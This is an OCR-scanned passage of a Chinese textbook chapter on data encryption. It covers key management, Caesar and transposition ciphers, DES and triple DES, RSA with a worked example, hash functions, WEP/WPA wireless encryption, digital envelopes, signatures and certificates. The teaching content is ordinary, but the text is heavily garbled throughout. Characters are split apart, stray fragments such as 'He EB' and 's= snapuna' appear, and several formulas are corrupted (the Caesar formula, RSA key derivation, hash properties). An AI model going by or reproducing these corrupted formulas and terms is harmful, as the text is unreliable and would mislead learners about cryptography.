每 个 主 密 钥 对 多 个 辅助 主 密 钥 进行 加 密 保护 ;每 个 辅助 主 密 钥 对 多 个 会 话 密 钥 进行 加 密 
保护 ;最 后 ,再 用 会 话 密 钥 对 传输 的 具体 信息 进行 加 密 保护 。 层 次 化 的 密 钥 管理 方式 中 ， 
用 于 数据 加 密 的 工作 密 钥 需要 动态 产生 ,多 层 密 钥 体制 大 大 加 强 了 密码 系统 的 可 靠 性 ， 
因为 用 得 最 多 的 工作 密 钥 常常 更 换 , 而 高 层 密 钥 用 得 较 少 ,使 得 破译 的 难度 增 大 。 

(2) 密 钥 的 生成 。 密 钥 的 生成 与 所 使 用 的 生成 算法 有 关 。 如 果 生 成 的 密 钥 强度 不 一 
致 , 则 称 该 算法 构成 的 是 非 线性 密 钥 空间 ,和 否则 称 为 线性 密 钥 空间 。 另 外 密 钥 的 表示 方 
式 对 密 钥 空间 的 大 小 也 有 影响 。 密 码 算法 如 果 采 用 一 个 弱 的 密 钥 生成 方法 ,那么 整个 密 
码 体制 就 是 弱 的 。 因 为 弱 的 密 钥 生成 算法 容易 被 破译 ,密码 分 析 者 在 破译 了 密 钥 后 不 用 再 
去 试图 破译 算法 就 可 以 得 到 他 要 得 到 的 数据 。 所 以 , 密 钥 的 生成 是 密 钥 管理 中 的 基本 问题 。 

(3) 密 钥 的 分 配 、 传 递 。 密 钥 的 分 配 是 指 产生 并 使 使 用 者 获得 一 个 密 钥 的 过 程 ; 密 钥 
的 传递 分 集中 传递 和 分 散 传递 两 类 。 集 中 传递 是 指 将 密 钥 整 体 传送 ,这 时 需要 使 用 主 密 
钥 来 保护 会 话 密 钥 的 传递 ,并 通过 安全 渠道 传递 主 密 钥 。 分 散 传递 是 指 将 密 钥 分 解 成 多 
个 部 分 ,用 秘密 分 享 的 方法 传递 ,只 要 有 部 分 到 达 就 可 以 恢复 ,这 种 方法 适用 于 在 不 安全 
的 信道 中 传输 。 

(4) 密 钥 的 保存 。 密 钥 既 可 以 作为 一 个 整体 保存 ,也 可 以 分 散 保 存 。 整 体 保存 的 方 
法 有 人 工 记 忆 、 外 部 记忆 装置 、 密 钥 恢 复 、 系 统 内 部 保存 :分散 保 存 的 目的 是 尽量 降低 由 
于 某 个 保管 人 或 保管 装置 的 问题 而 导致 密 钥 的 泄露 。 

(5) 密 钥 的 备份 及 销毁 。 密 钥 的 备份 可 以 采用 和 密 钥 的 分 散 保存 相同 的 方式 ,以 免 
知道 密 钥 的 人 太 多 。 密 钥 的 销毁 要 有 管理 和 仲裁 机 制 , 否 则 密 钥 会 被 有 意 无 意 地 丢失 ， 
从 而 造成 对 使 用 行为 的 否认 。 

He EB 

(1) 密 钥 管 理 包 括 哪 几 个 过 程 ? 分 别 对 这 些 过 程 进 行 简 述 。 

(2) 怎样 解决 暴力 破解 耗 时 的 问题 ? 

(3) 多 层 密 钥 体 制 的 特点 是 什么 ? 
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随 着 计算 机 网 络 的 发 展 ,网 络 的 利用 率 越 来 越 高 ,网 络 安全 问题 成 为 网 络 社会 关注 
的 焦点 ,数据 加 密 技 术 是 保证 信息 安全 的 重要 手段 之 一 , 它 不 仅 可 以 保证 数据 的 机 密 性 ， 
而 且 可 以 保证 数据 的 完整 性 和 抗 抵赖 性 ,还 可 以 进行 用 户 端 和 服务 器 端的 身份 认证 。 


431 对 称 加 密 技术 


1. 传统 加 密 技 术 


计算 机 加 密 技术 的 发 展 经 历 了 从 传统 密码 学 到 现代 密码 学 的 过 程 , 传 统 密码 方法 是 
以 密 钥 为 基础 的 ,是 一 种 对 称 加 密 , 加 密 和 解密 使 用 的 密 钥 相同 ,或 由 一 个 密 钥 可 以 推 知 
男 一 个 密 钥 ,算法 比较 简单 ,数据 的 保密 性 主要 取决 于 算法 的 保密 性 。 典 型 的 传统 加 密 
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技术 分 为 替换 技术 和 置换 技术 两 种 。 

1) 替换 技术 

替换 技术 是 用 一 组 密 文字 母 蔡 代 明 文字 母 ,达到 隐藏 明文 的 目的。 替换 密码 有 4 
种 : 单 表 替 换 密码 .多 表 蔡 换 密码 .同音 蔡 换 密码 和 多 字母 组 替换 密码 。 

凯撒 密码 是 最 古老 的 一 种 单 表 蔡 换 密码 。 这 种 技术 将 字母 按 字母 表 的 顺序 排列 ,并 
将 最 后 一 个 字母 和 第 一 个 字母 相连 起 来 ,构成 一 个 字母 序列 ,明文 中 的 每 个 字母 用 该 序 
列 中 在 它 后 面 的 第 3 个 字母 来 代替 ,构成 密 文 。 也 就 是 说 密 文字 母 相 对 明文 字母 循环 右 
É 3 位 ,所 以 也 称 为 “循环 移 位 密码 ”。 

明文 字母 :abcdefghijklmnopdqrstuvwxyz 

密 文字 母 :DEFGHIJKLMNOP QRS T UVWXYZ ABC 

如 果 让 每 个 字母 对 应 一 个 数值 (a 二 0,b 二 1,… ,z= 二 25), 则 该 算法 可 以 表示 为 

¿= B(py= Có 3-8 med 26 

其 中 ,P 为 明文 信息 元 素 ,C 为 密 文 信息 元 素 。 

密 文字 母 与 明文 字母 的 偏 移 可 以 是 任意 值 ,形成 了 所 谓 的 移 位 密码 ,其 加 密 算法 可 
以 表示 为 


c = E(p) = (p +k) mod 26 
其 中 ,K 是 加 密 算法 的 密 钥 ,可 以 在 1 到 25 之 间 取 值 。 
解密 算法 可 以 表示 为 
b = D(c) = (c—k) mod 26 
凯撒 密码 的 特点 是 : 由 于 的 取 值 范围 有 限制 ,凯撒 密码 的 密 钥 空间 很 小 ,难以 抵御 
强行 攻击 密码 分 析 , 攻 击 者 最 多 尝试 25 次 ,就 一 定 能 够 破译 密码 。 
为 了 加 大 凯撒 密码 的 密 钥 空间 ,可 以 将 明文 字母 和 密 文 字母 的 映射 表 复杂 化 ,将 它 
们 之 间 的 映射 关系 变 成 没有 规律 的 ,即将 密 文 字母 的 顺序 打 乱 后 ,每 条 信息 用 一 个 字母 
映射 表 ( 给 出 从 明文 字母 到 密 文字 母 的 映射 ) 加 密 , 打 乱 后 的 字母 表 为 密 钥 。 
明文 字母 :abcdefghijklmnopqdrstuvwxyz 
密 文字 母 :OG REFCYSALXUBZ QT WD VE HJ MK P NI 
如 果 密 文 行 是 26 个 字母 的 任意 替换 ,此 时 的 密 钥 空间 大 小 为 261, 约 为 4X10”。 即 
使 每 微 秒 试 一 个 密 钥 ,也 需要 花费 约 10" 年 才能 穷 举 所 有 的 密 钥 。 
2) 置换 技术 


置换 是 在 不 丢失 信息 的 前 提 下 对 明文 中 的 元 素 
进行 重新 排列 ,分 为 矩阵 置换 和 列 置 换 。 和 矩阵 置换 
是 把 明文 中 的 字母 按 给 定 的 顺序 安排 在 一 个 矩阵 
中 ,然后 用 另 一 种 顺序 选 出 矩阵 的 字母 来 产生 密 文 。 

【案例 4-6】 明文 ENGINEERING 按 行 排 在 
3X4 短 阵 中 ,如 最 后 一 行 不 全 ,可 用 A,B,C,… 填 
充 。 给 定 一 个 置换 下 一 ((1234)(2413)) ,现在 根据 给 
定 的 置换 , 按 第 2 列 、 第 4 列 、 第 1 列 、 第 3 列 的 次 序 
图 4-10 置换 前 .后 排列 排列 ,得 到 密 文 NIEGERNENAIG ,如 图 4-10 所 示 。 
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解密 算法 D 一 ((2413) (1234))。 
2. 现代 对 称 加 密 技术 


随 着 数据 加 密 技术 的 发 展 ,现代 密码 技术 主要 分 为 对 称 加 密 技术 和 非 对 称 加 密 技 
术 。 如 果 在 一 个 密码 体系 中 加 密 密 钥 和 解密 密 钥 相同 ,就 称 为 对 称 加 密 。 现 代 密 码 技 术 
阶段 加 密 和 解密 算法 是 公开 的 ,数据 的 安全 性 完全 取决 于 密 钥 的 安全 性 ,因此 ,对 称 加 密 
体系 中 如 果 密 钥 丢 失 ,数据 将 不 再 安全 。 

代表 性 的 对 称 加 密 算法 有 DES、IDEA( 国 际 数据 加 密 算法 )、Rijndael、.AES、RC4 等 。 

1) DES 

DES(Data Encryption Standard ,数据 加 密 标准 ) 是 美国 国家 标准 局 研究 的 除 国防 部 
以 外 的 其 他 部 门 的 计算 机 系统 的 数据 加 密 标准 。 美 国 国家 标准 局 于 1972 年 和 1974 年 
先后 两 次 向 公众 发 出 了 征求 加 密 算法 的 公告 ,对 加 密 算法 要 求 达 到 以 下 几 点 : 

(1) 必须 提供 高 度 的 安全 性 。 

(2) 具有 相当 高 的 复杂 性 ,使 得 破译 的 开销 超过 可 能 获得 的 利益 , 且 便 于 理解 掌握 。 

(3) 安全 性 不 依赖 于 算法 的 保密 ,其 加 密 安全 性 仅 以 加 密 密 钥 的 保密 为 基础 。 

(4) 适用 于 不 同 的 用 户 和 不 同 的 场合 。 

(5) 实现 经 济 ,运行 有 效 。 

(6) 必须 能 够 验证 ,允许 出 口 。 

1976 年 11 月 ,美国 政府 采纳 了 IBM 公司 设计 的 方案 作为 非 机 密 数据 的 正式 数据 加 
密 标准 , 即 DES。DES 被 授权 用 于 所 有 公开 的 和 私人 的 非 保 密 通 信 场 合 ,后 来 它 又 曾 被 
国际 标准 化 组 织 采纳 为 国际 标准 。DES 正式 公布 后 ,世界 各 国 的 许多 公司 都 推出 自己 实 
现 的 DES 软 硬 件 产品 。 美 国 国家 标准 局 至 少 已 认可 了 30 多 种 硬件 和 软件 实现 产品 。 硬 
件 产品 既 有 单 片 式 的 ,也 有 单 板式 的 ;软件 产品 既 有 用 于 大 中 型 机 的 ,也 有 用 于 小 型 机 和 
微型 机 的 。 

DES 是 一 种 单 钥 密码 算法 , 它 是 一 种 典型 的 按 分 组 方式 工作 的 密码 ,是 两 种 基本 的 
加 密 组 块 替代 和 换 位 的 细致 而 复杂 的 结构 ,通过 反复 依次 应 用 这 两 项 技术 来 提高 其 强 
度 ,经 过 总 共 16 轮 的 替代 和 换 位 的 变换 后 ,使 得 密码 分 析 者 无 法 获得 该 算法 一 般 特 性 以 
外 更 多 的 信息 。 

算法 思想 : DES 算法 将 输入 的 明文 分 为 64 位 的 数据 分 组 ,使 用 64 位 的 密 钥 进行 变 
换 , 每 个 64 位 明文 分 组 数据 经 过 初始 置换 、16 次 迁 代 和 逆 初 始 置换 3 个 主要 阶段 ,最 后 
输出 得 到 64 位 密 文 。 算 法 步骤 如 图 4-11 所 示 。 

2) 三 重 DES 

DES 算法 现在 难以 提供 足够 的 安全 性 , 因 其 有 效 密 钥 只 有 56 位 。 后 来 又 提出 了 三 
重 DES( 或 称 3DES) ,该 方法 的 强度 大 约 和 112 比特 的 密 钥 强 度 相 当 。 这 种 方法 用 两 个 
密 钥 对 明文 进行 3 次 运算 。 设 两 个 密 钥 是 Kl 和 K2, 其 算法 步骤 如 图 4-12 所 示 。 

(1) 用 密 钥 Kl 进行 DES 加 密 。 

(2) 用 密 钥 K2 对 步骤 (1) 的 结果 进行 DES 解密 。 

(3) 用 步骤 (2) 的 结果 使 用 密 钥 Kl 进行 DES 加 密 。 
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Jx 56 位 密 钥 

64 位 块 J] aa kw 
要 @ | 左边 28 位 || 右边 28 位 

i 1 1 
° — @ | 循环 左 移 | | 循环 左 移 
@ | 左边 32 位 “| | 右边 32 位 ' 
重新 合并 成 56 位 
扩展 变换 成 48 位 
压缩 后 得 到 48 位 


S 盒 压缩 成 32 位 


经 过 P 置 换 成 32 位 | @ 


新 左边 32 位 | | 新 右边 32 位 
从 第 4 步 开 ; 
经 过 16 轮 后 得 到 的 64 位 


逆 置换 一 一 一 一 一 | 64 位 密 文 


图 4-11 DES 加 密 算法 


区 


重复 进行 15 轮 ， 加 第 一 轮 共 计 16 轮 迭代 


图 4-12 三 重 DES 


对 称 式 加 密 算法 的 算法 简单 ,加 密 速度 很 快 。 但 在 信息 通信 之 前 需要 通过 一 个 安全 
的 通道 交换 密 钥 ( 或 协商 密 钥 ,或 事先 约定 密 钥 ) 对 公开 密 钥 进行 协商 .才能 实现 信息 加 
密 传输 ,其 中 存在 安全 地 协商 密 钥 很 困难 的 问题 。 


432 非 对 称 加 密 及 单 向 加 密 


1976 年 ,美国 学 者 Diffie 和 Hellman 为 解决 信息 公开 传送 和 密 钥 管理 问题 ,提出 了 
一 种 新 的 密 钥 交换 协议 ,允许 密 钥 在 不 安全 的 媒体 上 传输 ,这 就 是 公开 密 钥 系 统 。 相 对 
于 对 称 加 密 算法 ,这 种 方法 也 叫做 非 对 称 加 密 系统 。 非 对 称 加 密 算法 需要 两 个 密 钥 : 公 
开 密 钥 和 私有 密 钥 ,并 且 相互 关 联 。 如 果 用 公开 密 钥 对 数据 进行 加 密 , 只 有 用 对 应 的 私 
有 密 钥 才 能 解密 ;如 果 用 私有 密 钥 对 数据 进行 加 密 , 那 么 只 有 用 对 应 的 公开 密 钥 才能 解 


s= snapuna 
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密 。 非 对 称 加 密 算法 通常 有 3 方面 用 途 : 加 解密 、 数 字 签 名 、 密 钥 交 换 。 多 数 非 对 称 加 密 
算法 是 基于 数学 难 解 问题 ,典型 的 算法 有 RSA( 大 整数 因子 分 解 )、Diffie-Hellman( 离 散 
对 数 )、DSA( 离 散 对 数 )、Elgamal( 离 散 对 数 )、ECC (椭圆 曲 线 离散 对 数 系统 )、 背 包 算 


1. RSA 算法 


RSA 算法 以 3 位 发 明 者 的 名 字 命 名 : Ron Rivest、Adi Shamir 和 Leonard Adleman。 
它 的 安全 性 是 基于 大 整数 素 因 子 分 解 的 困难 性 ,而 大 整数 因子 分 解 问题 是 数学 上 的 著名 
难题 ,至 今 没有 有 效 的 方法 予以 解决 ,因此 可 以 确保 RSA 算法 的 安全 性 。 

RSA 算法 的 原理 如 下 : 

(1) 密 钥 对 的 产生 。 

首先 选择 两 个 大 素数 p 和 g ,计算 : n= pg( 大 整数 分 解 ,是 NP 难 解 问 题 ,p,g 一 般 为 
100 以 上 的 十 进 制 素数 ) 。 

然后 随机 选择 加 密 密 钥 ,要求 e 和 (p 一 1)(g 一 1) 互 质 。 

最 后 利用 Euclid $E (RK JU IB 49 9.15 98 2: R Bz K Zt 22] 38% BJ 3 FE RHER 5 ) V Py ft 8 96 
# d. 使 其 满足 ed=1 mod ((p 一 1)(g 一 1)), 其 中 nn 和 d 要 互 质 。 数 e 和 7 是 公 钥 对 ,qd 
入 是 私 钥 对 。 两 个 素数 和 4 不 再 需要 ,应 该 丢弃 ,不 要 让 任何 人 知道 。 

(2) 加 密 。 加 密 信 息 mx( 二 进 制 表 示 ) 时 ,首先 把 mx 分 成 等 长 数据 块 21 ,zz ，… mi, 
块 长 ;, 其 中 2:<<n,s 尽 可 能 的 大 。 加 密 的 公式 是 

c; = mí mod n 
(3) 解密 。 解 密 时 计算 
m, = cz mod n 

【案例 4-7】 应 用 RSA 算法 的 加 解密 过 程 。 明 文 为 HI, 操 作 过 程 如 下 。 

(1) 设计 密 钥 公 钥 (e,n) 和 私 钥 (d,n) 

令 p= 二 11,g 二 5, 取 e 二 3。 

计算 : n 二 pq 二 55, 求 出 g(n)=(p—1)(q—1)=40, 

计算 : ed mod gp(n) =1, 即 在 与 55 互 素 的 数 中 选取 与 40 互 素 的 数 ,得 d 二 27( 保 密 
数 ) 。 因 此 , 公 铀 对 为 (3,55), 私 钥 对 为 (27.55) 。 

(2) 加 密 。 用 公 钥 (3,55) 加 密 ( 按 1 一 26 的 次 序 排 列 字 母 , 则 H 228.1 为 9)。 加 密 : 
ECH)=8š: mod 55 一 17;E(I) 一 9 mod 55 一 14(17 为 Q,14 为 N) 。 密 文 为 : QN。 

(3) #% , D(Q)=177 mod 55=8;D(N)=14” mod 55 一 9。 


2. 单 向 散 列 函数 


散 列 算法 通过 一 个 单 向 数学 函数 将 任意 长 度 的 一 块 数据 转换 为 一 个 定 长 的 .不 可 逆 
转 的 数据 ,这 段 数据 通常 叫做 消息 摘要 。 

消息 摘要 代表 了 原始 数据 的 特征 , 当 原 始 数据 发 生 改 变 时 ,重新 生成 的 消息 摘要 也 
会 随 之 变化 ,即使 原始 数据 的 变化 非常 小 ,也 可 以 引起 消息 摘要 的 很 大 变化 。 因 此 ,消息 
摘要 算法 可 以 敏感 地 检测 到 数据 是 否 被 自 改 。 消 息 摘要 算法 再 结合 其 他 的 算法 就 可 以 
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用 来 保护 数据 的 完整 性 。 

好 的 单 向 散 列 函 数 必须 具有 以 下 特性 : 

(1) 计算 的 单 向 性 。 给 定 M #I H oR A= HO( M) IB PTE s E h $U H ,oR M= 
五 -Cj 在 计算 上 是 不 可 行 的 。 

(2) 弱 碰 撞 自 由 。 给 定 M, 要 寻找 另 一 信息 M ,满足 HCM )= 二 HCM) ,在 计算 上 不 
可 行 。 
(3) 强 碰撞 自由 。 要 寻找 不 同 的 信息 M 和 M' ,满足 HO(M')= H(M).,frir f E Á 
可 行 。 
单 向 散 列 函数 的 使 用 方法 为 : 用 散 列 函数 对 数据 生成 散 列 值 并 保存 ,以 后 每 次 使 用 
时 都 对 数据 使 用 相同 的 散 列 函数 进行 散 列 , 如 果 得 到 的 值 与 保存 的 散 列 值 相等 , 则 认为 
数据 未 被 修改 (数据 完整 性 验证 ?或 两 次 所 散 列 的 原始 数据 相同 (口令 验证 ) 。 

典型 的 散 列 函数 有 MD5、SHA-1、HMAC、GOST 等 。 单 向 散 列 函数 主要 用 在 一 些 
只 需 加 密 不 需 解密 的 场合 ,如 验证 数据 的 完整 性 ,口令 表 的 加 密 、 数 字 签 名 、 身 份 认证 等 。 


433 无 线 网 络 加 密 技术 


随 着 无 线 网 络 的 普及 ,在 商场 . 街 上 、 和 餐厅 搜索 到 无 线 信 号 并 不 出 奇 ,这 些 一 般 都 是 
免费 提供 给 大 家 使 用 的 ,并 不 对 信号 进行 加 密 。 但 对 于 家 庭 来 说 ,如 果 自 己 付款 的 宽带 
网 络 因 无 线 信 号 没有 加 密 而 给 别人 免费 享用 并 占用 了 大 量 的 带宽 ,可 不 是 一 件 愉快 的 事 
情 。 对 企业 来 说 ,无 线 信号 更 是 绝对 不 能 给 企业 以 外 的 人 所 接收 。 

所 有 的 无 线 网 络 都 提供 某 些 形式 的 加 密 。 但 无 线路 由 器 、 无 线 AP 或 中 继 器 的 无 线 
信号 范围 很 难 控制 得 准确 ,外 界 有 很 大 机 会 能 访问 到 该 无 线 网络 。 一 旦 他 们 能 访问 该 内 
部 网 络 ,该 网 络 中 所 有 传输 的 数据 对 他 们 来 说 都 是 透明 的 。 如 果 这 些 数据 都 没 经 过 加 
密 , 黑 客 就 可 以 通过 一 些 数据 包 嗅 探 工具 来 抓 包 、 分 析 并 窥探 到 其 中 的 隐私 。 

无 线 局 域 网 (Wireless LAN,WLAN) 若 不 加 密 , 不 仅 容 易 被 他 人 使 用 ,增加 费用 , 占 
用 带宽 ,而且 更 容易 被 和 人 侵 而 造成 泄密 ,危及 安全 。 目 前 ,无 线 网 络 中 已 经 存在 好 几 种 加 
密 技 术 ,最 常 使 用 的 是 WEP 和 WPA 两 种 加 密 方式 。 


1. WEP 加 密 技术 


WEP 是 Wired Equivalent Privacy 的 简称 , 意 为 有 线 等 效 保密 。WEP 协议 是 对 在 两 
台 设 备 间 无 线 传输 的 数据 进行 加 密 的 方式 ,用 以 防止 非法 用 户 窃听 或 侵入 无 线 网 络 。 
WEP 主要 通过 无 线 网 络 通信 双方 共享 的 密 钥 来 保护 传输 的 加 密 帧 数据 ,利用 加 密 数据 
帧 加 密 的 过 程 如 图 4-13 所 示 。 

WEP 的 目标 就 是 通过 对 无 线 电 波 里 的 数据 加 密 提供 安全 性 ,如 同 端 - 端 发 送 一 样 。 
WEP 特性 里 使 用 了 RSA 数据 安全 性 公司 开发 的 RC4 算法 。 

【案例 4-8】 WEP 是 一 个 容易 被 攻击 的 协议 ,能 让 入 侵 者 通过 密码 破解 软件 获取 无 
线 网 络 的 密 钥 ,但 由 于 其 他 设备 (例如 游戏 终端 PDA 等 ) 在 无 线 连 接 时 只 支持 WEP, 而 
无 法 使 用 更 安全 的 WPA 机 制 。 


”| 初始 向 量 


初始 向 量 —— 输入 | 伪 随 机 数 | 密 钥 序列 


密 明 合并 生成 器 ”| 异 或 
明文 一 | 窗 文 
合并 
| 完整 性 算法 ]— 
数据 完整 性 
验证 码 


图 4-13 ”WEP 加 密 过 程 


2. WPA 安全 加 密 方 式 


WPA 全 名 为 WiFi Protected Access(WiFi 保护 访 问 ), 有 WPA 和 WPA2 两 个 标 
准 , 是 一 种 保护 无 线 网 络 (WiFi) 安 全 的 系统 , 它 针 对 应 研究 者 在 前 一 代 的 系统 有 线 等 效 
加 密 (WEP) 中 找到 的 几 个 严重 的 弱点 而 产生 的 ,在 安全 的 防护 上 比 WEP 更 为 周密 , 主 
要 体现 在 身份 认证 .加 密 机 制 和 数据 包 检查 等 方面 ,而 且 它 还 提升 了 无 线 网 络 的 管理 能 
力 。WPA 与 WEP 不同 ,WEP 使 用 一 个 静态 的 密 钥 来 加 密 所 有 的 通信 。WPA 不 断 地 转 
换 密 钥 ,采用 有 效 的 密 钥 分 发 机 制 , 可 以 跨越 不 同 厂商 的 无 线 网 卡 实现 应 用 。WPA 的 另 
一 个 优势 是 使 公共 场所 和 学 术 环境 安全 地 部 署 无 线 网 络 成 为 可 能 ,但 是 大 部 分 的 安装 指 
南都 把 WEP 列 为 第 一 选择 。 


3. VEIP 


TKIP 全 称 为 Temporal Key Integrity Protocol( 临 时 密 钥 完整 性 协议 ) 负 责 处 理 无 
线 安全 问题 的 加 密 部 分 ,这 种 加 密 方法 比 WEP 更 安全 。TKIP 和 WPA 所 提供 的 安全 功 
能 可 以 解决 WEP 保护 的 网 络 中 遇 到 的 安全 问题 。 


4. EAP 


EAP(Extensible Authentication Protocol, 可 扩展 认证 协议 ) 是 一 个 第 二 层 处 理 过 
程 ,允许 网 络 对 无 线 客户 端 进行 认证 。 有 两 种 EAP, 一 种 用 于 无 线 网 络 , 另 一 种 用 于 
LAN 连接 ,通常 称 为 EAP over LAN (EAPoL)。 无 线 环境 中 的 一 个 问题 是 要 允许 
WLAN 设备 与 AP 后 面 的 设备 进行 通信 。EAP 定义 了 标准 的 认证 信息 封装 方法 ,如 AP 
用 于 对 用 户 进 行 认证 的 用 户 名 和 密码 和 数字 证 书 。EAP 本 质 上 是 点 对 点 协议 (PPP) 的 
扩展 ,第 一 种 EAP 是 EAP-MD5, 它 使 用 挑战 握手 认证 协议 (Challenge Handshake 
Authentication Protocol,CHAP) 进 行 认证 。 


434 实用 综合 加 密 方法 


为 了 确保 信息 在 网 络 长 距离 的 安全 传输 ,一 般 采 用 将 对 称 、 非 对 称 和 散 列 加 密 进行 
综合 运用 的 方法 。 由 于 不 同 算法 各 有 特点 ,如 表 4-1 所 示 , 在 实现 网 络 信息 安全 过 程 中 ， 
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每 种 密码 体制 的 应 用 也 有 所 不 同 。 
表 4-1 对 称 与 非 对 称 密码 体制 特性 对 比 


特 征 对 称 密码 体制 非 对 称 密码 体制 

密 钥 的 数目 单一 密 钥 密 钥 是 成 对 的 

密 钥 种 类 密 钥 是 秘密 的 一 个 私有 , 另 一 个 公开 

密 钥 管理 简单 ,不 好 管理 需要 数字 证 书 及 可 靠 第 三 方 
相对 速度 非常 快 慢 

用 途 用 于 加 密 大 量 数据 用 于 加 密 小 文件 或 数字 签名 


1. 数字 信封 


从 上 面 可 以 看 出 ,对 称 式 加 密 技术 和 非 对 称 式 加 密 技术 在 使 用 过 程 中 都 有 各 自 的 优 
缺点 ,并 且 两 者 的 优 缺 点 是 互补 的 ,利用 这 一 点 ,通常 两 种 加 密 技术 会 结合 起 来 应 用 , 实 
现 信 息 的 通信 过 程 的 保密 性 ,典型 的 例子 就 是 “数字 信封 ”技术 。 

数字 信封 的 功能 类 似 于 普通 信封 。 普 通信 封 在 法 律 约束 下 保证 只 有 收 信 人 才能 阅 
读 其 内 容 ;数字 信封 则 采用 密码 技术 保证 只 有 规定 的 接收 人才 能 阅读 其 内 容 。 

数字 信封 的 实现 原理 : 信息 发 送 方 采用 对 称 密 钥 加 密 信息 内 容 , 将 此 对 称 密 钥 用 接 
收 方 的 公 钥 加 密 ( 称 为 数字 信封 ) 之 后 ,将 它 和 加 密 后 的 信息 一 起 发 送 给 接收 方 ,接收 方 
先 用 相应 私 钥 打开 数字 信封 ,得 到 对 称 密 钥 ,然后 使 用 对 称 密 钥 解 开 加 密 信息 ,如 图 4-14 
所 示 。 


发 送 方 接收 方 公 钥 | 公 网 | 接收 方 私 钥 接收 方 
l l 
l l 
非 对 称 式 | | 二 an | | | 非 对 称 式 本 
公开 密 钥 . 上 -| 数字 信封 yk 公开 密 钥 
加 密 算法 EE 门 | 解密 算法 
| ke = P>” | 
a += -一 --- 
明文 | | 明文 
一 一 | 对称 式 加 密 算法 ' #x H— TT 对 称 式 加 密 算法 二 
l 
l 


4-14 数字 信封 


从 图 4-17 可 以 看 出 ,在 虚线 的 上 方 实现 的 是 用 非 对 称 式 加 密 技术 实现 的 对 称 式 密 钥 
安全 协商 的 过 程 , 即 非 对 称 式 加 密 技术 实现 的 信息 保密 传输 的 过 程 ,而 下 方 是 用 对 称 式 
加 密 技 术 实 现 信息 保密 传输 的 过 程 。 两 者 的 结合 完全 避 开 了 两 种 加 密 技 术 的 缺点 ,也 正 
好 利用 了 两 者 的 优点 ,是 网 络 中 实现 信息 安全 最 常用 的 方法 。 


2. 数字 签名 


书信 或 文件 是 通过 亲笔 签名 或 印章 来 保证 法 律 上 的 真实 ,有 效 ,并 且 可 以 核实 。 但 
随 着 网 络 的 发 展 , 人 们 可 以 在 网 上 进行 交易 ,在 交易 中 怎么 确保 可 信 ? 这 就 需要 在 网 络 
中 实现 传统 的 文件 签名 和 盖 章 所 能 达到 的 效果 ,这 就 是 数字 签名 所 要 解决 的 问题 。 


s= snapuana 
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数字 签名 必须 保证 做 到 以 下 3 点 : 

(1) 接收 者 能 够 核实 发 送 者 对 信息 的 签名 。 

(2) 发 送 者 事后 不 能 抵赖 对 信息 的 签名 。 

(3) 接收 者 不 能 伪造 对 信息 的 签名 。 

现在 已 有 多 种 实现 各 种 数字 签名 的 方法 ,可 以 使 用 对 称 式 加 密 算法 或 散 列 算法 ,也 
可 以 使 用 非 对 称 式 加 密 算法 ,采用 非 对 称 式 加 密 算法 要 比 采 用 其 他 密 钥 算法 更 容易 实 
现 。 下 面 就 来 介绍 这 种 数字 签名 ,如 图 4-15 所 示 ,发 送 者 用 他 本 人 的 私 钥 对 信息 进行 加 
密 , 这 就 是 一 个 签名 的 过 程 ,所 形成 的 密 文 就 是 发 送 者 的 数据 签名 ,接收 者 用 发 送 者 的 公 
钥 对 信息 进行 解密 ,这 是 核实 签名 的 过 程 ,如 果 解 密 成 功 ,就 能 确保 信息 是 来 自 该 公 钥 的 
所 有 者 。 一 个 数字 签名 需要 满足 3 个 条 件 : 


| 发 送 者 | | 接收 者 | 
l l I I 
上 明文 P_| 非 对 称 式 加 | 数字 等 名 | | 非 对 称 式 加 | 明文 P， | 
| 窗 算法 | 密 算法 ! 
| |! 
| 发 送 方 的 私 钥 SK | | 发 送 方 的 公 钥 PK | 
| (进行 签名 ) | 1 (3284) ! 


图 4-15 非 对 称 式 加 密 算法 实现 数字 签名 过 程 


(1) 如 果 接 收 者 用 发 送 者 的 公 钥 实现 了 对 接收 到 的 数字 签名 进行 解密 ,因为 对 信息 
签名 的 私 钥 只 有 发 送 者 才 有 ,而 发 送 者 的 公 钥 只 能 解密 由 发 送 者 私 钥 加 密 的 签名 ,由 此 
接收 者 能 够 核实 发 送 者 对 信息 的 签名 。 

(2) 发 送 者 的 公 钥 只 能 解密 发 送 者 的 签名 ,而 发 送 者 的 私 钥 只 有 发 送 者 才 有 ,由 此 发 
送 者 事后 不 能 抵赖 其 对 信息 的 签名 。 

(3) 发 送 者 的 签名 要 用 发 送 者 的 私 钥 实 现 , 而 发 送 者 的 私 钥 只 有 发 送 者 才 有 ,接收 者 
没 法 得 到 ,由 此 接收 者 不 能 伪造 对 信息 的 签名 。 

[知识 拓展 “数字 签名 ”是 目前 电子 商务 、 电 子 政务 中 应 用 最 普遍 、 技 术 最 成 熟 、 可 
操作 性 最 强 的 一 种 电子 签名 方法 。 它 采用 了 规范 化 的 程序 和 科学 化 的 方法 ,用 于 鉴定 签 
名 人 的 身份 以 及 对 一 项 电子 数据 内 容 的 认可 。 它 还 能 验证 出 文件 的 原文 在 传输 过 程 中 
有 无 变动 ,确保 传输 电子 文件 的 完整 性 、 真 实 性 和 不 可 抵赖 性 。 


3. 数字 证 书 


数字 证 书 就 是 互联 网 通信 中 标志 通信 各 方 身份 信息 的 一 系列 数据 ,提供 了 一 种 在 
Internet 上 验证 用 户 身份 的 方式 ,其 作用 类 似 于 司机 的 驾驶 执照 或 日 常生 活 中 的 身份 证 。 
它 是 由 一 个 权威 机 构 一 一 CA(Certificate Authority) 证 书 授权 中 心 发 行 的 ,人 们 可 以 在 网 
上 用 它 来 识别 对 方 的 身份 。 数 字 证 书 是 一 个 经 证 书 授权 中 心 数字 签名 的 包含 公开 密 钥 
拥有 者 信息 以 及 公开 密 钥 的 文件 。 从 原理 上 讲 .就 是 一 个 可 信 的 第 三 方 实体 对 另 一 个 实 
体 的 一 系列 信息 进行 签名 得 到 一 个 数字 文档 ,证 书 用 户 可 以 通过 这 个 可 信 第 三 方 来 证 明 
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另 一 实体 的 身份 。 它 由 3 部 分 组 成 : 实体 的 一 系列 信息 ,签名 加 密 算法 和 一 个 数字 签名 ， 
如 图 4-16 所 示 。 其 中 实体 的 信息 主要 包括 3 方面 的 内 容 : 证 书 所 有 者 的 信息 、 证 书 所 有 
者 的 公开 密 钥 和 证 书 颁发 机 构 的 信息 。 


1 

3 
> 
m 
[a 


实体 信息 : 
姓名 
Ag 消息 搞 要 


第 三 方 密 钥 Fr 二 -二 -站 


4-16 数字 证 书 机 制 


4. PKI 体系 


在 当今 电子 交易 盛行 的 互联 网 时 代 ,电子 商务 用 户 所 面临 的 安全 问题 如 下 : 

